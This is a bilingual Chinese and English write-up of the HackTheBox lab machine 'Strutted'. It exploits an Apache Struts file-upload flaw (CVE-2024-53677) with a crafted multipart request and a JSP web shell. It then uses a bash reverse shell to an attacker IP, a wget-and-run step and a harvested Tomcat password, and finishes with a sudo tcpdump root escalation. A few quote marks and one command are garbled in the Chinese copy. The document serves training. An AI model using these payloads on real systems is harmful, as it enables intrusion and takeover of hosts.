HackTheBox Strutted Writeup

HackTheBox Strutted 是一台中等难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。

htb strutted

枚举

image 57.png

有两个端口开放

现在使用nikto来枚举网站

image 58.png

没有CGI

10.10.11.59 strutted.htb

添加10.10.11.59 strutted.htb到/etc/hosts

查看网站,手动枚举

打开页面发现一个

image 59.png

我们下载后得到一个

image 60.png

strutted.zip 解压unzip stutted.zip

解压出来后得知目标上运行的应用程序服务器tomcat

查看文件夹strutted后看到应用程序依赖项的文件是pom.xml

打开pom.xml

image 61.png

MVC架构是 Apache struts 6.3.0.1

在搜索引擎中搜索得到CVE ID为CVE-2024-53677


根据github

git clone https://github.com/0xPThree/struts_cve-2024-53677.git

image 62.png

需要模块

sudo apt install python3-requests-toolbelt

再次尝试

查看源代码,我们可以打开burp

再次运行就成功了

没有找到漏洞

说明:没有找到此漏洞,但是它依然存在文件上传漏洞导致RCE


立足点

尝试手动上传

仔细查看下载下来的文件我们可以发现目标可以运行.jsp文件

文件也包含了关于如何检测是否为png等图像的方法:检查魔法头。我们在他之后写入相应代码即可

根据此处以及这个payload

我们应该构建一个类似的表单:

POST /uploads.action HTTP/1.1

Host: 127.0.0.1:8080

Connection: keep-alive

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Content-Length: 138

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="1.txt"

Content-Type:  text/plain

y4tacker

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="2.txt"

Content-Type:  text/plain

1

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ--

image 63.png

我们尝试这样做的时候,发现好像似乎没用

此时只需要将upload小写改为大写Upload。(解释

image 64.png

测试payload

http://strutted.htb/shell.jsp?action=cmd&cmd=id

反向链接

攻击机:

echo -ne ’#!/bin/bash\nbash -c “bash -i >& /dev/tcp/10.10.14.100/4444 0>&1”’ > bash.sh

python3 -m http.server 80

nc -lvvp 4444

目标:

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh

寻找文件

cat conf/tomcat-users.xml → password=“IT14d6SSP81k”

cat /etc/passwd | grep ‘/bin/bash’ → 用户:james存在

ssh链接

ssh james@10.129.231.200

Privilege Escalation

sudo -l → /usr/sbin/tcpdump

GTFOBin查询

COMMAND=‘cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root’

TF=$(mktemp)

echo “COMMAND">COMMAND" > TF

chmod +x $TF

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

/tmp/bash_root -p

即可


解释

为什么将upload小写改为大写Upload

Struts2 的文件上传是通过一个叫 FileUploadInterceptor 的拦截器完成的。它在请求进入 Action 之前,对 multipart/form-data 的每个字段执行一套绑定逻辑。

假设表单中有:

那么 Struts 会尝试去你的 Action 类(这里是org.strutted.htb.Upload)中找这些属性:

image 65.png

JavaBean/OGNL 反射在匹配 setter 时采用首字母大写的 method 名(setUploadFileName),最终只有 UploadFileName 能被 route 到正确的 setter(实现差异导致必须使用大写形式)。

为什么要使用top.UploadFilename?

top.UploadFileName和 Struts 的 OGNL(Object-Graph Navigation Language)机制有关系。

一、Struts 参数绑定的真相

Struts2 在接收到一个 HTTP 请求时,会把所有表单字段和 multipart 字段放进一个 ValueStack

这个栈本质上是一个对象层次结构(通常顶层是当前执行的 Action)。

OGNL 负责解析表达式,把请求参数名(如 "UploadFileName", "user.name", "top.UploadFileName"

映射到对象的属性上。

比如:

  • 参数名 "uploadFileName" → 调用 setUploadFileName(...)
  • 参数名 "user.name" → 调用 getUser().setName(...)
  • 参数名 "top.UploadFileName" → 直接作用在 栈顶对象(当前 Action) 上,而不是栈中其他对象。

二、为什么要写成

top.UploadFileName

在很多真实场景(尤其是漏洞利用或某些复杂配置中),Action 并不是唯一的对象。

ValueStack 里可能还有:

  • 拦截器注入的对象(如模型、DTO);
  • 内部 Map(如 parameters、session、application);
  • 甚至 request / response 的引用。

当你直接写 "UploadFileName" 时,OGNL 会从栈顶往下查找第一个含有该属性的对象。

如果在上层某个对象里也存在同名属性,比如 "parameters.UploadFileName",OGNL 可能就绑定错对象。

因此——

top.UploadFileName 是一种“指明方向”的写法:

告诉 OGNL “我不要查栈,我要直接改栈顶(即 Action 本身)的 UploadFileName 属性”。

在利用链或渗透测试里,这一点非常重要,因为:

  1. 目标 setter 可能只存在于 Action,而非内部模型;
  2. 攻击者要确保 OGNL 表达式不会意外被其他层拦截;
  3. 某些 RCE 利用(如 Struts2 S2-045 / S2-046)就是利用 top 来访问 actionContextapplicationmemberAccess 等敏感对象。
  • top 是 OGNL 的关键字,代表 ValueStack 栈顶对象(通常是当前 Action)。
  • top.UploadFileName 可以确保修改的就是 Action 自己的属性,不被中间对象干扰。
  • 在漏洞利用或调试中,明确指定 top. 是一种“精准打击”——直接命中 setter。

HTB strutted

Enumeration

image 57.png

Two ports are open.

Now use nikto to enumerate the website.

image 58.png

No CGI

10.10.11.59 strutted.htb

Add 10.10.11.59 strutted.htb to /etc/hosts.

View the website, manual enumeration

Opening the page reveals one.

image 59.png

After downloading, we get one.

image 60.png

strutted.zip unzip stutted.zip

After extraction, we learn the application server running on the target is Tomcat.

Looking at the strutted folder, we see the application dependency file is pom.xml.

Open pom.xml.

image 61.png

The MVC architecture is Apache Struts 6.3.0.1.

Searching in search engines yields CVE ID CVE-2024-53677.


According to GitHub

git clone https://github.com/0xPThree/struts_cve-2024-53677.git

image 62.png

Requires module.

sudo apt install python3-requests-toolbelt

Try again.

Looking at the source code, we can open Burp.

Running again succeeded.

Vulnerability not found.

Note: The vulnerability was not found, but it still has a file upload vulnerability leading to RCE.


Foothold

Attempt manual upload

Looking closely at the downloaded files, we can find the target can run .jsp files.

The files also contain methods on how to check if it’s a PNG or other image: checking the magic header. We can write the corresponding code after that.

According to this and this payload.

We should construct a similar form:

POST /uploads.action HTTP/1.1

Host: 127.0.0.1:8080

Connection: keep-alive

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Content-Length: 138
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="1.txt"

Content-Type:  text/plain

y4tacker
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="2.txt"

Content-Type:  text/plain

1
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ--

image 63.png

When we tried this, it seemed like it didn’t work.

At this point, we just need to change the lowercase upload to uppercase Upload. (Explanation)

image 64.png

Test payload

http://strutted.htb/shell.jsp?action=cmd&cmd=id

Attacker:

echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1"' > bash.sh
python3 -m http.server 80
nc -lvvp 4444

Target:

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh

cat conf/tomcat-users.xml  →  password="IT14d6SSP81k"
cat /etc/passwd | grep '/bin/bash' → User: james exists

SSH Connection

ssh james@10.129.231.200

Privilege Escalation

sudo -l → /usr/sbin/tcpdump

GTFOBin Lookup

COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
/tmp/bash_root -p

Explanation

Why change the lowercase ‘upload’ to uppercase ‘Upload’?

Struts2 file upload is handled by an interceptor called FileUploadInterceptor. It performs a binding logic for each field of multipart/form-data before the request enters the Action.

Assume the form contains: <input type="file" name="upload">

Struts will then attempt to find these properties in your Action class (in this case, org.strutted.htb.Upload):

image 65.png

JavaBean/OGNL reflection matches setters using method names with the first letter capitalized (setUploadFileName). Ultimately, only UploadFileName can be routed to the correct setter (implementation differences necessitate using the uppercase form).

Why use top.UploadFilename?

The use of top.UploadFileName is related to Struts’ OGNL (Object-Graph Navigation Language) mechanism.

I. The Truth About Struts Parameter Binding

When Struts2 receives an HTTP request, it puts all form fields and multipart fields into a ValueStack.

This stack is essentially an object hierarchy (usually with the current executing Action at the top).

OGNL is responsible for parsing expressions and mapping request parameter names (e.g., "UploadFileName", "user.name", "top.UploadFileName")

to object properties.

For example:

  • Parameter name "uploadFileName" → calls setUploadFileName(...);
  • Parameter name "user.name" → calls getUser().setName(...);
  • Parameter name "top.UploadFileName" → directly acts on the top object of the stack (the current Action), rather than other objects in the stack.

2. Why Write As

top.UploadFileName

In many real-world scenarios (especially in vulnerability exploitation or certain complex configurations), the Action is not the only object.

The ValueStack may also contain:

  • Objects injected by interceptors (such as models, DTOs);
  • Internal maps (such as parameters, session, application);
  • Or even references to request / response.

When you write "UploadFileName" directly, OGNL searches from the top of the stack downwards for the first object containing that property.

If there is a property with the same name in an object higher up, such as "parameters.UploadFileName", OGNL might bind to the wrong object.

Therefore—

top.UploadFileName is a way to “specify the direction”:

It tells OGNL “I don’t want to search the stack; I want to directly modify the UploadFileName property of the stack top (i.e., the Action itself).”

In exploit chains or penetration testing, this is very important because:

  1. The target setter may only exist in the Action, not in internal models;
  2. Attackers need to ensure that the OGNL expression is not accidentally intercepted by other layers;
  3. Some RCE exploits (such as Struts2 S2-045 / S2-046) use top to access sensitive objects like actionContext, application, memberAccess, etc.
  • top is a keyword in OGNL representing the stack top object of the ValueStack (usually the current Action).
  • top.UploadFileName ensures that the property being modified is indeed the Action’s own property, without interference from intermediate objects.
  • In vulnerability exploitation or debugging, explicitly specifying top. is a “precision strike”—directly hitting the setter.